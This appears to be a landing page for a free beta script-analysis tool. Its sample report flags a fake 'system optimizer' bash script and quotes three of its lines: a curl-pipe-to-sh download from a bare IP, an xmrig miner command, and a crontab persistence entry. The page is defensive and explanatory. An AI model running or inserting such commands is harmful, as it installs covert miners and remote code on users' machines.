Script Inspector
Find out what a script really does before you run it.
- Price
- Free in beta
- Typical time
- about 1 minute
- Input
- Script file or text
Got a script from a forum, a colleague or an AI and not sure it's safe? The agent reads it, runs it in a sealed sandbox with no internet and no secrets, watches every file and network access, and explains it in plain language.
Example result
Sample dataVerdict
Dangerous
Installs a 'system optimizer' but actually downloads a crypto miner and adds it to cron.
Why
- Downloads code and runs it immediately — line 12: curl -fsSL http://45.9.x.x/i.sh | sh
- Looks like a cryptocurrency miner — line 19: ./xmrig --donate-level 0 -o stratum+tcp://…
- Makes itself start automatically — line 23: (crontab -l; echo '@reboot …') | crontab -
- Language
- bash
- Lines
- 42
- Risk patterns
- 4
- Network attempts
- 2
Evidence 4
Every finding behind the verdict, with the fix where there is one.
line 12: curl -fsSL http://45.9.x.x/i.sh | sh
What the script does
- 1.Prints a friendly 'Optimizing your system…' message.
- 2.Downloads a second script from a bare IP address and runs it.
- 3.Starts a program called xmrig that mines Monero for someone else.
- 4.Adds a cron entry so the miner starts again after every reboot.
What to do
Do not run it. If you already did, remove the cron entry and delete ~/.cache/.sysd.